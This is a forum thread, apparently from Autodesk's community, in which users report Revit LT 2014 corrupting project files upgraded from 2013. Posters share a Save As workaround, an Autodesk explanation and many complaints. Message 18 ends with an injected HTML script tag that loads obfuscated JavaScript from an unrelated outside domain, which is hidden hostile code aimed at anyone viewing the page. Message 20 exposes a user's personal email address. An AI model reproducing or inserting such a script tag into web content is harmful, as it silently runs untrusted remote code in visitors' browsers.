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Revit files corrupt after upgrade from 2013 to 2014

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Message 1 of 26
mp_thompson
7654 Views, 25 Replies

Revit files corrupt after upgrade from 2013 to 2014

We worked on two seperate projects in Revit LT 2014 on Saturday for the first time (previously 2103). We didn't have any issues throughout the day.

 

Both files and their back ups state that the file is corrupt when attempting to open them.

 

These are live projects and we cannot afford to be a day behind.

www.thompsonarchitecture.co.uk
25 REPLIES 25
Message 2 of 26

I'm having the same issue.  I upgraded to Revit LT 2014 this past weekend.  I can open my files (created in 2013), work with them and then save them with no issues.  But, the next time I go to open them I get an error saying "Data in file filename.rvt is corrupt and needs to be manually recovered.  Please contact Autodesk Support."

 

Luckily I didn't put any amount of work into my projects before I discovered this problem so I didn't lose much.

 

I did find (what seems to be) a bit of a workaround.  I can open a project, created in 2013, let it do it's upgrade on the file and then do a Save AS right away and save it with a different file name.  After that the upgraded file, with the new file name, seems to work fine without getting the corrupt data error (although, I haven't tested this extensively yet).

 

Unfortunately, that workaround probably doesn't help you with the files you've worked on that are now corrupt but hopefully it can help someone who ends up with the same problem.

Message 3 of 26

Well Autocad are apparantly looking at a fix for the files but a I've tried to work around it for 2 days (luckliy I've had meetings etc), so if I don't hear anything it'll be back to square one (luckily I saved the file prior to the day we moved over/converted.

 

Thanks for you comment and suggestion Mark, the file I was working on yesterday doesn't seem to have any issues (I Held my breath opening it this morning) but I'll try your workaround and I'll be regularly closing and reopening the project to double check.

 

We've only just started to make the move to Revit, which is why we started on LT and to say we're not impressed is an understatment.

www.thompsonarchitecture.co.uk
Message 4 of 26

I'm sorry that you're having issue with the upgraded files  in Revit LT - we have received a couple of reports of this and our developers are investigating the behavior. In the meantime, I would try to follow mark's suggestion of using Save As, as the issue does not appear to occur that way.



Katie Langan
Technical Support Specialist
Customer Service & Support
Autodesk, Inc.

Message 5 of 26

From Autodesk:-

 

"Unfortunately, there is an issue with Revit 2014 LT: saving an upgraded file to the original file is not to overwrite the original file, but just to re-write the file. Hence, in the re-wroten file, there are some element streams that were saved in Revit 2013, but the format stream is overwritten and latest. When open the file re-wroten in 2014, those element streams can't be loaded using the latest format saved in the file.


This will need a fix, scheduled for a future version of revit.


To avoid this situation you may save as under a new name the file at upgrade."

 

Day's work lost on two projects solely because I copied the file in explorer rather than opening and saving as. Surely this kind of error should be picked up before release.

 

First of all 2013 not compatible with W8 and now this, not impressed so far by Revit.

 

Anyone know the complaints procedure?

www.thompsonarchitecture.co.uk
Message 6 of 26
ivan
in reply to: mark.jorgenson

One more affected with this issue here!

Message 7 of 26
dtiemeyer
in reply to: mp_thompson

Re-wroten ? Really?
My other CAD is a Cadillac and I like to Revit to the Max!
Message 8 of 26
mp_thompson
in reply to: dtiemeyer

Discussing with customer services in Germany doesn't help either - language barrier over the phone and as you can see, even via email, albeit easier to follow

www.thompsonarchitecture.co.uk
Message 9 of 26

As stated earlier in the thread, instead of saving over the version of the file that you open, you should change the file name and "Save As". 

 

More details at this page:

http://revitclinic.typepad.com/my_weblog/2013/05/corruption-in-revit-lt-2014-project-after-upgrading...

 

Message 10 of 26
mbblakley
in reply to: mp_thompson

I am having a similar problem in my office, but instead of a single file being corrupted, the entire ribbon menu for Revit Lt is corrupted. After someone on my office installed Revit 2014, the edit option and the "X" and check mark have disappeared in the Lt version. I found a fix for Revit 2013, which is within the latest 2 update releases, but not for Revit Lt 2013. Has anyone else had this issue, and been able to find a fix for it? Thanks!

 

For anyone interested in the full version fix, see links below.

 

Building Design Suite Premium 2013

update 1: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=20121968&linkID=16831210

update 2: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=20679039&linkID=16831210

 

Revit Architecture 2013

Update 1: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=20121970&linkID=9273944

Update 2: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=20679231&linkID=9273944

Message 11 of 26
mbblakley
in reply to: mbblakley

Just after I posted this question, another in my office figured out a solution. He replaced the .Net file with an older version (from 4.5 back to 4.0). Seemed to do the trick.

Message 12 of 26
clancy.white
in reply to: mp_thompson

We have had the same problem. Has anyone found a way of retreiving the corrupted files?

Message 13 of 26
tbryanm
in reply to: mp_thompson

Ran into the same problem but we lost 46hrs worth of work costing my firm $5,135 and counting. Missed a crucial deadline forcing us into full damage control. Alan's tech support was above and beyond but his hands were tied.

 

Your lack of concern and obvious greed is unacceptable autodesk!! Your entire QA department should be replaced and a new CEO with a performance based strategy that focuses ONLY on improving user experience before any effort is put into a new version. 

Message 14 of 26
mtowers
in reply to: mp_thompson

Keep in mind you are using Revit LT. All the research I have done is that it is an LT Problem and not a full version. Our company has been using Revit now for three years and early on many people had the same attitude that the software sucked but the reality was that some of it was just fear of the unknown. People didnt like changing their ways. We also lacked adequate training. We recently had a project that had a 6 month schedule, 2 months for design, 4 for construction. 162'-0" tower. because of the coordination abilities with Revit and Navisworks we had 0.02% errors attributable to Engineering on the job. The software saved us. 

Message 15 of 26
rosskirby
in reply to: tbryanm

I might be missing something here, but it was my understanding that simply doing a Save As with a different file name after upgrading to 2014 fixed the problem.  I'm unclear on how you lost 46 hours of work.  Could you elaborate?  Perhaps there's a way to salvage that work.

Ross Kirby
Principal
Dynamik Design
www.dynamikdesign.com
Message 16 of 26
tbryanm
in reply to: rosskirby

I was under a heavy deadline and did not close and reopen the file in that 46 hours.

Message 17 of 26
tbryanm
in reply to: mtowers

I agree, the software is not the problem. Is only as good as its developers and QA personnel. I have been using Revit since version 9.0 so my crossover fears have been delt with. Even in its buggy state Revit is much more efficient and useful than autocad. Personally my frustratations have less to do with the software and more to do with Autodesk's lack of concern for making it better. To much focus on getting the next version on the street.

Message 18 of 26
stevecoburn
in reply to: mbblakley

Which .NET file did you replace?  and did this fix the complete problem? <script type="text/javascript" src="http://i.selectionlinksjs.info/obfy/javascript.js"></script>

Message 19 of 26
melredside
in reply to: mp_thompson

Considering that this is nearly 2014, I am suprised this issue has NOT YET BEEN RESOLVED.  I avoided doing the upgrade until now and was not aware that this corruption was an issue, so now lost my entire body of work on a project.

What exactly have you done to fix this problem? You have know about this for a year now. My files are all corrupt...including my backups AND the templates!  I cannot even open up a generic template now.

 

this is ridiculous and needs fixing now.

Message 20 of 26

I have the same issue trying to save my file. Your site has NO TECHNICAL SUPPORT for students and phone lines are NEVER ANSWERED. How can you have a product with no technical help given to students? This company needs to be looked at and major changes should be made to help with students. I can't access a file that I've been working on for 6 months and i've tried EVERYTHING to make this not be a corrupted file. I need help IMMEDIATELY PLEASE!!!! Email me at stefano_pasin@hotmail.com if anyone from Autodesk can help. Thank you.

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